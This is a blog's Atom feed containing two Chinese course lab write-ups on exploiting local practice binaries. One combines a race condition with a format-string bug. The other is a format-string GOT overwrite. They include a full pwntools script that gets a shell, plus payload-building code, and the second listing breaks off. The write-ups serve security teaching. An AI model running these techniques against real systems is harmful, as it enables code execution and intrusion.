<?xml version="1.0" encoding="utf-8"?>
<feed xmlns="http://www.w3.org/2005/Atom">
  <title>FindFuner</title>
  
  
  <link href="http://example.com/atom.xml" rel="self"/>
  
  <link href="http://example.com/"/>
  <updated>2023-11-13T09:45:47.609Z</updated>
  <id>http://example.com/</id>
  
  <author>
    <name>John Doe</name>
    
  </author>
  
  <generator uri="https://hexo.io/">Hexo</generator>
  
  <entry>
    <title>漏洞分析技术实验4：条件竞争漏洞</title>
    <link href="http://example.com/2023/11/13/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/"/>
    <id>http://example.com/2023/11/13/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/</id>
    <published>2023-11-13T09:13:06.000Z</published>
    <updated>2023-11-13T09:45:47.609Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="实验4：竞争条件漏洞"><a href="#实验4：竞争条件漏洞" class="headerlink" title="实验4：竞争条件漏洞"></a>实验4：竞争条件漏洞</h1><h2 id="1-实验环境"><a href="#1-实验环境" class="headerlink" title="1. 实验环境"></a>1. 实验环境</h2><p>Linux虚拟机（kali）</p><p>life_creed、libc.so</p><h2 id="2-实验原理"><a href="#2-实验原理" class="headerlink" title="2.实验原理"></a>2.实验原理</h2><ol><li><p>条件竞争漏洞：、</p><p>程序中存在并发执行流，多个并发流会访问同一对象，当至少有一个控制流会改变竞争对象的状态时，有可能发生条件竞争。</p></li><li><p>格式化字符串漏洞</p><p>通过构造特殊的格式化字符串，进行内存泄漏、覆写内存等操作。</p></li></ol><h2 id="3-实验要求"><a href="#3-实验要求" class="headerlink" title="3.实验要求"></a>3.实验要求</h2><p>调试分析 life_creed 程序，写出漏洞利用脚本，拿到shell</p><h2 id="4-实验过程"><a href="#4-实验过程" class="headerlink" title="4.实验过程"></a>4.实验过程</h2><h3 id="分析life-creed"><a href="#分析life-creed" class="headerlink" title="分析life_creed"></a>分析life_creed</h3><p>（1） main 函数</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113172330360.png"                      alt="image-20231113172330360"                ></p><p>（2）sub_400A56（Alarm）</p><p>​alarm(0x1Eu) 函数，该程序设置了执行的时间限制，不得超过 30s。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174419711.png"                      alt="image-20231113174419711"                ></p><p>（3）sub_400AA3（Options）</p><p>​通过scanf输入 1-5 数字，选择对应操作。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174425583.png"                      alt="image-20231113174425583"                ></p><p>（4）sub_400B69（Add_data）</p><p>​进行初始化操作，通过 scanf 输入添加 name 和 life_creed 数据，分别存放在 &amp;byte_6020E0（重命名为name_buf）和 dest（重命名为life_creed_buf）中。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174432137.png"                      alt="image-20231113174432137"                ></p><p>（5）start_routine（Rename）</p><p>​通过 read 函数获取输入，修改 name_buf 中存放的 name 数据。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174443462.png"                      alt="image-20231113174443462"                ></p><p>（6）sub_400CE1（Modify_life_creed）</p><p>​通过 read 获取输入，暂存在buf中，再通过 sub_400BDA（Check）函数检查有无不合法字符，若 buf 中含有不合法字符，则函数退出终止运行，若 buf 中字符均合法，函数继续运行，sleep 3 s，输出 life_creed_buf 中的 life_creed。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174450400.png"                      alt="image-20231113174450400"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174456022.png"                      alt="image-20231113174456022"                ></p><p>（7）sub_400DD0（Inquiry）</p><p>​查询信息，输出name 和 life_creed。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174501568.png"                      alt="image-20231113174501568"                ></p><p>（8）sub_400E13（End_Game）</p><p>​通过 read 获取输入信息，当输入信息为 “yes” 时，程序正常退出。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174508548.png"                      alt="image-20231113174508548"                ></p><p>（9）整理后的 main 函数</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174515513.png"                      alt="image-20231113174515513"                ></p><h3 id="漏洞利用思路"><a href="#漏洞利用思路" class="headerlink" title="漏洞利用思路"></a>漏洞利用思路</h3><p>（1）漏洞点</p><p>​漏洞点在 Modify_life_creed 函数中，该函数有一个 printf() 函数，存在格式化字符串漏洞，修改 life_creed_buf 中的数据，构造特殊的字符串，再 printf 触发，覆写内存。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174521162.png"                      alt="image-20231113174521162"                ></p><p>（2）条件竞争改写 life_creed_buf</p><p>​printf 函数需要通过输出 life_creed_buf 中的字符来触发格式化字符串漏洞，在 printf 函数之前，strncpy 将 buf 中的字符拷贝至 life_creed_buf 中，而  buf 中的的字符经过了Check函数的校验，不能存在 “$” “%” 字符，而这两个字符是我们利用格式化字符串漏洞所需要的。除了在 Modify_life_creed 函数中我们可以修改 life_creed_buf 中的数据之外，我们还可以在 Add_data 函数中修改 life_creed_buf 。我们需要做的是在 Modify_life_creed 函数中 strncpy执行之后 ，printf 执行之前，修改 life_creed_buf 。在 strncpy 和 printf 之间有一个 sleep 函数，使该函数休眠 3 s，在此期间，我们可以调用 Add_data 函数，修改 life_creed_buf 中的数据，构造触发格式化字符串漏洞的字符串。</p><p>（3）buf 是 printf 第6个参数</p><p>​实际改写 life_creed_buf 的时候会出现一个问题，Add_data 函数中是通过 sacnf 函数获取输入信息的，而我们输入的字符串中存在使 scanf 函数自动截断的数据，比如：\x20 等，这部分数据是格式化字符串漏洞要覆写的地址，也就是说，通过 scanf 我们可以输入构造的格式化字符串，而覆写的地址要找别的法子输入。</p><p>​由于是 64 位系统的程序，我们分析一下，printf 的参数情况，通过条件竞争，在 Modify_life_creed 函数中 strncpy 执行之后， printf 执行之前，修改 life_creed_buf ，输入 “%x.%x.%x.%x.%x.%x.%x.%x” ，泄露相关内存。此外，在 Modify_life_creed 函数中我们，我们输入 “aaaabbbbccccdddd” 作为 buf 的输入。运行脚本，发现 “aaaa” 为printf的第6个参数，我们可以将 “aaaa”改为对应覆写地址。这样就可以通过 printf 函数触发 life_creed_buf 中的格式化字符串覆写地址了。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174528067.png"                      alt="image-20231113174528067"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174534615.png"                      alt="image-20231113174534615"                ></p><p>（4）覆写 strncmp 地址为 system</p><p>​通过（2）（3）两步将strncmp函数的 got 表地址修改为 system，这样在 End_Game 函数中，我们可以输入 “\bin\sh” ，执行 system 函数，达成漏洞利用目的。</p><h2 id="5-编写脚本"><a href="#5-编写脚本" class="headerlink" title="5.编写脚本"></a>5.编写脚本</h2><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br><span class="line">16</span><br><span class="line">17</span><br><span class="line">18</span><br><span class="line">19</span><br><span class="line">20</span><br><span class="line">21</span><br><span class="line">22</span><br><span class="line">23</span><br><span class="line">24</span><br><span class="line">25</span><br><span class="line">26</span><br><span class="line">27</span><br><span class="line">28</span><br><span class="line">29</span><br><span class="line">30</span><br><span class="line">31</span><br><span class="line">32</span><br><span class="line">33</span><br><span class="line">34</span><br><span class="line">35</span><br><span class="line">36</span><br><span class="line">37</span><br><span class="line">38</span><br><span class="line">39</span><br><span class="line">40</span><br><span class="line">41</span><br><span class="line">42</span><br><span class="line">43</span><br><span class="line">44</span><br><span class="line">45</span><br><span class="line">46</span><br><span class="line">47</span><br><span class="line">48</span><br><span class="line">49</span><br><span class="line">50</span><br><span class="line">51</span><br><span class="line">52</span><br><span class="line">53</span><br><span class="line">54</span><br><span class="line">55</span><br><span class="line">56</span><br><span class="line">57</span><br><span class="line">58</span><br><span class="line">59</span><br><span class="line">60</span><br><span class="line">61</span><br><span class="line">62</span><br><span class="line">63</span><br><span class="line">64</span><br><span class="line">65</span><br><span class="line">66</span><br><span class="line">67</span><br><span class="line">68</span><br><span class="line">69</span><br><span class="line">70</span><br><span class="line">71</span><br><span class="line">72</span><br><span class="line">73</span><br><span class="line">74</span><br><span class="line">75</span><br><span class="line">76</span><br><span class="line">77</span><br><span class="line">78</span><br><span class="line">79</span><br><span class="line">80</span><br></pre></td><td class="code"><pre><span class="line"><span class="comment">#!/usr/bin/env python</span></span><br><span class="line"><span class="comment"># -*- coding: utf-8 -*-</span></span><br><span class="line"><span class="keyword">from</span> pwn <span class="keyword">import</span> *</span><br><span class="line">context(arch=<span class="string">&#x27;amd64&#x27;</span>)</span><br><span class="line">context.log_level=<span class="string">&#x27;debug&#x27;</span></span><br><span class="line"></span><br><span class="line">local = <span class="number">1</span></span><br><span class="line">_elf=<span class="string">&#x27;./life_creed&#x27;</span></span><br><span class="line">_libc=<span class="string">&#x27;/lib/x86_64-linux-gnu/libc.so.6&#x27;</span></span><br><span class="line">_addr=<span class="string">&#x27;&#x27;</span></span><br><span class="line">_port=<span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">getConn</span>():</span><br><span class="line">    <span class="keyword">if</span> local ==<span class="number">1</span>:</span><br><span class="line">        <span class="keyword">return</span> process(_elf)</span><br><span class="line">    <span class="keyword">else</span>:</span><br><span class="line">        <span class="keyword">return</span> remote(_addr,_port)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">debug</span>(<span class="params">p,cmd=<span class="literal">None</span></span>):</span><br><span class="line">    <span class="keyword">if</span> local==<span class="number">1</span>:</span><br><span class="line">        gdb.attach(p,cmd)</span><br><span class="line">    pause()</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Modify_life_creed</span>(<span class="params">context</span>):</span><br><span class="line">    p.sendlineafter(<span class="string">&quot;Your choice:&quot;</span>,<span class="string">&quot;3&quot;</span>)</span><br><span class="line">    p.sendafter(<span class="string">&quot;new life_creed: &quot;</span>,context)</span><br><span class="line"></span><br><span class="line"><span class="keyword">def</span> <span class="title function_">Add_data</span>(<span class="params">context</span>):</span><br><span class="line">    p.sendlineafter(<span class="string">&quot;Your choice:&quot;</span>,<span class="string">&quot;1&quot;</span>)</span><br><span class="line">    <span class="comment">#p.recvuntil(&quot;Your choice:&quot;)</span></span><br><span class="line">    p.sendline(<span class="string">&quot;1&quot;</span>)</span><br><span class="line">    p.sendafter(<span class="string">&quot;life_creed: &quot;</span>,context)</span><br><span class="line"></span><br><span class="line">elf=ELF(_elf)</span><br><span class="line">libc=ELF(_libc)</span><br><span class="line">strncmp_got=elf.got[<span class="string">&quot;strncmp&quot;</span>]</span><br><span class="line">puts_got=elf.got[<span class="string">&quot;puts&quot;</span>]</span><br><span class="line"></span><br><span class="line">p=getConn()</span><br><span class="line"></span><br><span class="line"><span class="comment"># debug(p,&quot;b *0x400e13&quot;)</span></span><br><span class="line"></span><br><span class="line">Modify_life_creed(p64(puts_got))</span><br><span class="line">Add_data(<span class="string">b&quot;%6$s&quot;</span>)</span><br><span class="line"><span class="comment">#Modify_life_creed(&quot;aaaabbbbccccddddeeeeffffgggg&quot;)</span></span><br><span class="line"><span class="comment">#Add_data(b&quot;%x.%x.%x.%x.%x.%x.%x.%x&quot;)</span></span><br><span class="line"><span class="comment"># debug(p,&quot;b *0x400e13&quot;)</span></span><br><span class="line"></span><br><span class="line">p.recvuntil(<span class="string">&quot;life_creed is:&quot;</span>)</span><br><span class="line">puts_addr=u64(p.recv(<span class="number">6</span>).ljust(<span class="number">8</span>,<span class="string">b&quot;\x00&quot;</span>))</span><br><span class="line">system_addr= puts_addr-libc.sym[<span class="string">&quot;puts&quot;</span>] + libc.sym[<span class="string">&quot;system&quot;</span>]</span><br><span class="line"></span><br><span class="line"><span class="comment">#log.info(hex(puts_addr))</span></span><br><span class="line"><span class="comment">#log.info(hex(system_addr))</span></span><br><span class="line"></span><br><span class="line">sleep(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">payload1=<span class="string">b&quot;&quot;</span></span><br><span class="line">payload2=<span class="string">&quot;&quot;</span></span><br><span class="line">prev=<span class="number">0</span></span><br><span class="line"></span><br><span class="line"><span class="keyword">for</span> i <span class="keyword">in</span> <span class="built_in">range</span>(<span class="number">6</span>):</span><br><span class="line">    payload1 += p64(strncmp_got+i)</span><br><span class="line">    word=(system_addr&gt;&gt;(i*<span class="number">8</span>))&amp;<span class="number">0xff</span></span><br><span class="line">    target= (word-prev+<span class="number">0x100</span>)%<span class="number">0x100</span></span><br><span class="line">    prev = word</span><br><span class="line">    payload2 += <span class="string">f&quot;%<span class="subst">&#123;target&#125;</span>c%<span class="subst">&#123;i+<span class="number">6</span>&#125;</span>$hhn&quot;</span></span><br><span class="line"></span><br><span class="line">p.sendline(<span class="string">&quot;6&quot;</span>)</span><br><span class="line">Modify_life_creed(payload1)</span><br><span class="line">Add_data(payload2)</span><br><span class="line"></span><br><span class="line">sleep(<span class="number">3</span>)</span><br><span class="line"></span><br><span class="line">p.sendline(<span class="string">&quot;6&quot;</span>)</span><br><span class="line">p.sendlineafter(<span class="string">&quot;Your choice:&quot;</span>,<span class="string">&quot;5&quot;</span>)</span><br><span class="line">p.recvuntil(<span class="string">&quot;Are you satisfied with this game?&quot;</span>)</span><br><span class="line">p.send(<span class="string">&quot;/bin/sh&quot;</span>)</span><br><span class="line"></span><br><span class="line">p.interactive()</span><br></pre></td></tr></table></figure></div><h2 id="6-漏洞利用效果"><a href="#6-漏洞利用效果" class="headerlink" title="6.漏洞利用效果"></a>6.漏洞利用效果</h2><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E5%9B%9B/image-20231113174544889.png"                      alt="image-20231113174544889"                ></p>]]></content>
    
    
      
      
    <summary type="html">&lt;link rel=&quot;stylesheet&quot; class=&quot;aplayer-secondary-style-marker&quot; href=&quot;\assets\css\APlayer.min.css&quot;&gt;&lt;script src=&quot;\assets\js\APlayer.min.js&quot; cla</summary>
      
    
    
    
    <category term="漏洞分析技术实验" scheme="http://example.com/categories/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C/"/>
    
    
    <category term="PWN" scheme="http://example.com/tags/PWN/"/>
    
    <category term="漏洞分析技术实验" scheme="http://example.com/tags/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C/"/>
    
  </entry>
  
  <entry>
    <title>漏洞分析技术实验3：格式化字符串漏洞</title>
    <link href="http://example.com/2023/11/06/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/"/>
    <id>http://example.com/2023/11/06/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/</id>
    <published>2023-11-06T07:40:06.000Z</published>
    <updated>2023-11-06T09:10:20.528Z</updated>
    
    <content type="html"><![CDATA[<link rel="stylesheet" class="aplayer-secondary-style-marker" href="\assets\css\APlayer.min.css"><script src="\assets\js\APlayer.min.js" class="aplayer-secondary-script-marker"></script><h1 id="实验3：格式化字符串漏洞"><a href="#实验3：格式化字符串漏洞" class="headerlink" title="实验3：格式化字符串漏洞"></a>实验3：格式化字符串漏洞</h1><h2 id="1-实验环境"><a href="#1-实验环境" class="headerlink" title="1.实验环境"></a>1.实验环境</h2><p>Linux虚拟机（Ubuntu）</p><p>format1、libc.so</p><h2 id="2-实验原理"><a href="#2-实验原理" class="headerlink" title="2.实验原理"></a>2.实验原理</h2><p>通过格式化字符串不仅可 以泄露内存数据，还能覆写内存。 在本实验中，将两种利用方式相结合，更好地体会格式化字符串漏洞。</p><p>n：它不是向printf()传递格式化信息，而是令printf()把自己已经输出的字符总数放到相应的整形变量中 </p><p>举例：    int i; </p><p>​printf(“hello%n”,&amp;i); </p><p>​此时 i 的值为 5. </p><p>printf 的缓冲区溢出一般printf (“%n”,a):当遇到%n时，程序会检查已经输入了多少字符串，然后将其写入到a中，可以通过这一点来改写栈中内存。 </p><p>（1）%n写入的内存最大为4字节 </p><p>（2）%hn写入的内存最大为2字节 </p><p>（3）%hhn写入的内存最大为1字节</p><h2 id="3-实验要求"><a href="#3-实验要求" class="headerlink" title="3.实验要求"></a>3.实验要求</h2><p>1.format1进行详细分析，编写python脚本，要求拿到shell权限。 </p><p>2.编写完成详细的实验分析报告，对python脚本和漏洞利用过程进行详细分析。</p><h2 id="4-实验过程"><a href="#4-实验过程" class="headerlink" title="4.实验过程"></a>4.实验过程</h2><h3 id="分析format1"><a href="#分析format1" class="headerlink" title="分析format1"></a>分析format1</h3><ol><li>将format1拖入IDA进行初步分析。</li></ol><p>​可以看到，main函数中调用了getname()函数，读取用户输入并通过printf输出。，在getname中存在格式化字符串漏洞。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/wps1.jpg"                                     ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/wps2.jpg"                      alt="img"                ></p><ol start="2"><li>检查format1的保护机制</li></ol><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/wps3.jpg"                      alt="img"                ></p><h3 id="漏洞利用思路-3轮漏洞利用"><a href="#漏洞利用思路-3轮漏洞利用" class="headerlink" title="漏洞利用思路:3轮漏洞利用"></a>漏洞利用思路:3轮漏洞利用</h3><p>（1）将exit函数的GOT表地址覆写为main函数的地址。</p><p>​先解决构建printf（format，argument）中format和argument 。</p><p>（2）通过printf格式化字符串漏洞，获取puts函数地址，再通过libc的相对地址偏移获取system的地址。</p><p>​通过格式化字符串漏洞，泄露内存数据。</p><p>（3）用格式化字符串漏洞，将system函数地址覆盖GOT表中printf函数的地址，并在buf中写入’&#x2F;bin&#x2F;sh’。当执行printf(buf)时，相当于执行system(‘&#x2F;bin&#x2F;sh’)。</p><p>​通过格式化字符串漏洞，覆写内存。</p><h3 id="漏洞利用"><a href="#漏洞利用" class="headerlink" title="漏洞利用"></a>漏洞利用</h3><ol><li><p>获取main函数、exit_got、puts_got、printf_got地址</p><p>​将format1 拖入IDA中，易得 main 函数地址为 0x08048648 ，找到GOT表，得到 exit_got、puts_got、printf_got 地址，分别为 0x804a024、0x804A01C、0x804A014。</p></li></ol><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/wps12.jpg"                      alt="img"                ></p><ol start="2"><li><p>将exit函数的GOT表地址覆写为main函数的地址，每次退出时将再返回到main函数。 </p><p>（1）先解决构建printf（format，[argument]）中format和argument ：</p><p>​format覆写的格式为：% width c % num $ hhn </p><p>​width是将要写入到$hhn参数中的值，它由覆写的值和已经写入的长度决定，具体为：（已写入的长度-覆写的值）%0x100 </p><p>（2）num的确定 </p><p>​num定了要写入的第num个参数，通过调试具体分析一下。</p><p>​先查看buf的地址是printf的第几个参数，在调用printf处设置断点，buf的地址为0xffffcfbc，printf中格式化字符串的第7个参数，即（0xffffcfbc-0xffffcfa0）&#x2F; 4 &#x3D; 7。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/wps5.jpg"                      alt="img"                ></p><p>​因为要把exit的GOT地址覆写为main函数地址（通过IDA可以获得main的函数地址0x08048648)，所以应写入4个字节，即重复四次“% width c % num $ hhn”。</p><p>​粗略估计width最多占用3个字节，num最多占用2个字节，则每个格式“% width c % num $ hhn”占用12个字节，四次重复共48个字节，占用48&#x2F;4&#x3D;12个参数（实际可能用不到48个字节，少的部分用其他字符在最后填充）。 </p><p>​由于buf是从第7个参数开始， 7-18个参数写入用于输出12个字节的基本格式，写入4个字节的地址从第7+12&#x3D;19个参数开始。num依次为19、20、21、22。</p><p>（3）覆盖exit的返回地址</p><p>​确定了width和num之后，再将要覆盖的exit@got地址0x804a024、0x804a025、0x804a026、0x804a027依次写入到第19、20、21、22个参数中，格式化字符串就构造好了。相当于构造了printf（ “%72c%19$hhn%62c%20$hhn%126c%21$hhn%4c%22$hhnaaaa\x24\xa0\x04\x08\x25\xa0\x04\x08\x26\xa 0\x04\x08\x27\xa0\x04\x08”）</p><p>（4）脚本代码</p><p>​编写generate_format(addr, value)函数构造格式化字符串，addr为要覆写的地址，value为覆写的值。 </p><p>​调用generate_format(exit_got,main)，生成的payload作为输入。</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span class="line">8</span><br><span class="line">9</span><br><span class="line">10</span><br><span class="line">11</span><br><span class="line">12</span><br><span class="line">13</span><br><span class="line">14</span><br><span class="line">15</span><br></pre></td><td class="code"><pre><span class="line">def generate_format(addr, value):</span><br><span class="line">        payload = &#x27;&#x27;</span><br><span class="line">        print_count = 0</span><br><span class="line">        addr_part = &#x27;&#x27;</span><br><span class="line">        for i in range(8):</span><br><span class="line">            if (value &gt;&gt; (8*i)) == 0:</span><br><span class="line">                break</span><br><span class="line">            one_byte = (value &gt;&gt; (8*i)) &amp; 0xff</span><br><span class="line">            payload += &#x27;%&#123;0&#125;c%&#123;1&#125;$hhn&#x27;.format((one_byte - print_count) % 0x100, 19 + i)</span><br><span class="line">            print_count += (one_byte - print_count) % 0x100 </span><br><span class="line">            addr_part += p32(addr + i)</span><br><span class="line">//48字节是粗略估计的，实际可能小于48，用a填充至48字节</span><br><span class="line">        payload = payload.ljust(48, &#x27;a&#x27;)</span><br><span class="line">        payload += addr_part</span><br><span class="line">        return payload</span><br></pre></td></tr></table></figure></div><p>可以看到</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/wps6.jpg"                      alt="img"                ></p><p>​可以看到，执行完printf后，格式化字符串漏洞就会将exit@got 覆写为main函数的地址，也就是将0x08048486覆盖为0x0848648</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/wps7.jpg"                      alt="img"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/wps8.jpg"                      alt="img"                ></p></li><li><p>通过printf格式化字符串漏洞，获取puts函数地址，再通过 libc的相对地址偏移获取system的地址</p><p>（1） 获取system的地址的思路</p><p>​通过格式化字符串漏洞，泄露内存数据最终的目的是获取到shell，即实现system(“&#x2F;bin&#x2F;sh”)。由于格式化字符串漏洞能够泄露内存关键数据，可以考虑利用这个漏洞泄露出system的地址</p><p>（2）获得GOT表中puts的地址</p><p>​利用格式化字符串漏洞，泄露出GOT表中puts的地址，计算出system地址构造的格式化字符串格式为“%num$s+puts@got”，即把puts@got的地址写入buf，再通过%s读出。其中%num$s占4个字节，是第7个参数；puts@got占4个字节，是第8个参数，num就可以写为8，即将puts@got的地址写入到第8个参数的位置 。</p><p>（3）计算system地址</p><p>​获取了puts的实际地址后，再利用libc中system函数与puts函数的偏移，通过libc中两个函数的偏移即可得到system的地址。</p><p>（4）脚本代码如下：</p><div class="highlight-container" data-rel="Plaintext"><figure class="iseeu highlight plaintext"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br></pre></td><td class="code"><pre><span class="line">p.recvuntil(&#x27;Welcome~\n&#x27;)</span><br><span class="line">payload = &#x27;%8$s&#x27;+p32(puts_got)</span><br><span class="line">p.sendline(payload)</span><br><span class="line">puts_addr = u32(p.recv(4))</span><br><span class="line">sys_addr = puts_addr - (libc.symbols[&#x27;puts&#x27;]-libc.symbols[&#x27;system&#x27;])</span><br><span class="line">log.info(&#x27;puts:%#x&#x27;%puts_addr)</span><br><span class="line">log.info(&#x27;sys:%#x&#x27;%sys_addr)</span><br></pre></td></tr></table></figure></div><p>可以看到，输出的puts地址的值。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/wps9.jpg"                      alt="img"                ></p></li><li><p>用格式化字符串漏洞，将system函数地址覆盖GOT表中printf函数的地址，并在buf中写入’&#x2F;bin&#x2F;sh’。当执行printf(buf)时，相当于执行system(‘&#x2F;bin&#x2F;sh’)。</p><p>（1）system函数地址覆盖GOT表中printf函数的地址</p><p>​调用generate_format(printf_got,sys_addr)，生成的payload作为输入。</p></li></ol><p>​可以看到在printf()函数执行前后，printf@got中地址的变化，由0xf75cd670变为0xf75beda0（system地址）。</p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/wps10.jpg"                      alt="img"                ></p><p><img                       lazyload                     src="/images/loading.svg"                     data-src="/images/%E6%BC%8F%E6%B4%9E%E5%88%86%E6%9E%90%E6%8A%80%E6%9C%AF%E5%AE%9E%E9%AA%8C%E4%B8%89/wps11.jpg"                      alt="img"                ></p><p>​（2）在buf中写入’&#x2F;bin&#x2F;sh’。当执行printf(buf)时，相当于执行system(‘&#x2F;bin&#x2F;sh’)。</p><h3 id="完整攻击脚本代码"><a href="#完整攻击脚本代码" class="headerlink" title="完整攻击脚本代码"></a>完整攻击脚本代码</h3><div class="highlight-container" data-rel="Python"><figure class="iseeu highlight python"><table><tr><td class="gutter"><pre><span class="line">1</span><br><span class="line">2</span><br><span class="line">3</span><br><span class="line">4</span><br><span class="line">5</span><br><span class="line">6</span><br><span class="line">7</span><br><span 